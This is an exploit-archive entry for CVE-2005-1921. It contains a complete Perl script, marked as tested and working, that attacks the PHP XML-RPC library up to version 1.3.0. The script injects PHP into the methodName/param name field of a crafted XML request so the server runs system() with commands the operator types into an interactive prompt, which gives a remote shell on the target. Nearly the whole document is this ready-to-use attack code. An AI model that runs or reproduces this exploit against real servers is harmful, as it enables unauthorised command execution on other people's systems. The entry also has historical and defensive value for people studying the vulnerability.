XML-RPC Library <= 1.3.0 (xmlrpc.php) Remote Code Injection Exploit



EDB-ID: 1078 CVE: 2005-1921 OSVDB-ID: 17793
Author: ilo-- Published: 2005-07-01 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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# tested and working /str0ke

#!/usr/bin/perl
# 
#  ilo-- 
#
#  This program is no GPL or has nothing to do with FSF, but some
#  code was ripped from romansoft.. sorry, too lazy!
#  
#  xmlrpc bug by James from GulfTech Security Research. 
#  http://pear.php.net/bugs/bug.php?id=4692
#  xmlrpc drupal exploit, but James sais xoops, phpnuke and other
#  cms should be vulnerable.
#
#  greets: dsr! digitalsec.net
#
require LWP::UserAgent;
use URI;
use Getopt::Long;
use strict;
$| = 1;  # fflush stdout after print

# Default options
# connection 
my $basic_auth_user = '';
my $basic_auth_pass = '';
my $proxy = '';
my $proxy_user = '';
my $proxy_pass = '';
my $conn_timeout = 15;

# general
my $host;
 
 #informational lines to feed my own ego.
 print "xmlrpc exploit - http://www.reversing.org \n";
 print "2005 ilo-- <ilo".chr(64)."reversing.org> \n";
 print "special chars allowed are / and - \n\n";

 # read command line options
 my $options = GetOptions (

 #general options
 'host=s'    => \$host, # input host to test.

 # connection options
 'basic_auth_user=s' => \$basic_auth_user,
 'basic_auth_pass=s' => \$basic_auth_pass,
 'proxy=s'           => \$proxy,
 'proxy_user=s'      => \$proxy_user,
 'proxy_pass=s'      => \$proxy_pass,
 'timeout=i'         => \$conn_timeout);

 # command line sanity check 
 &show_usage unless ($host);

 # main loop 
 while (1){
 	print "\nxmlrpc@# ";
 	my $cmd = <STDIN>;
 	xmlrpc_xploit ($cmd);
 }

 exit (1);

#exploit 
sub xmlrpc_xploit {
chomp (my $data = shift);
my $reply;

my $d1 = "<?xml version=\"1.0\"?><methodCall><methodName>examples.getStateName</methodName><params><param><name>a');";  
my $d2 = ";//</name><value>xml exploit R/01</value></param></params></methodCall>";

  $data =~ s/-/'.chr(45).'/mg;
  $data =~ s/\//'.char(47).'/mg;

  my $req = new HTTP::Request 'POST' => $host;
  $req->content_type('application/xml');
  $req->content($d1.'system(\''.$data.'\')'.$d2);
  
  my $ua = new LWP::UserAgent;
  $ua->agent("xmlrpc exploit R/0.1");
  $ua->timeout($conn_timeout);

  if ($basic_auth_user){
    $req->authorization_basic($basic_auth_user, $basic_auth_pass) 
  }
  if ($proxy){
    $ua->proxy(['http'] => $proxy);
    $req->proxy_authorization_basic($proxy_user, $proxy_pass);
  }
 
  #send request, return null if not OK
  my $res = $ua->request($req);
  if ($res->is_success){
     $reply= $res->content;
  } else { 
     $reply = "";
  }
  $reply =~ /(.*).(<pre>warning.*)/mgsi;
  print ($1);
}

# show options 
sub show_usage {
  print "Syntax: ./xmlrpc.pl [options] host/uri\n\n";
  print "main options\n";
  print "connection options\n";
  print "\t--proxy (http), --proxy_user, --proxy_pass\n";
  print "\t--basic_auth_user, --basic_auth_pass\n";
  print "\t--timeout \n";
  print "\nExample\n";
  print "bash# xmlrpc.pl --host=http://www.host.com/xmlrpc.php \n";
  print "\n";
  exit(1);
}


# milw0rm.com [2005-07-01]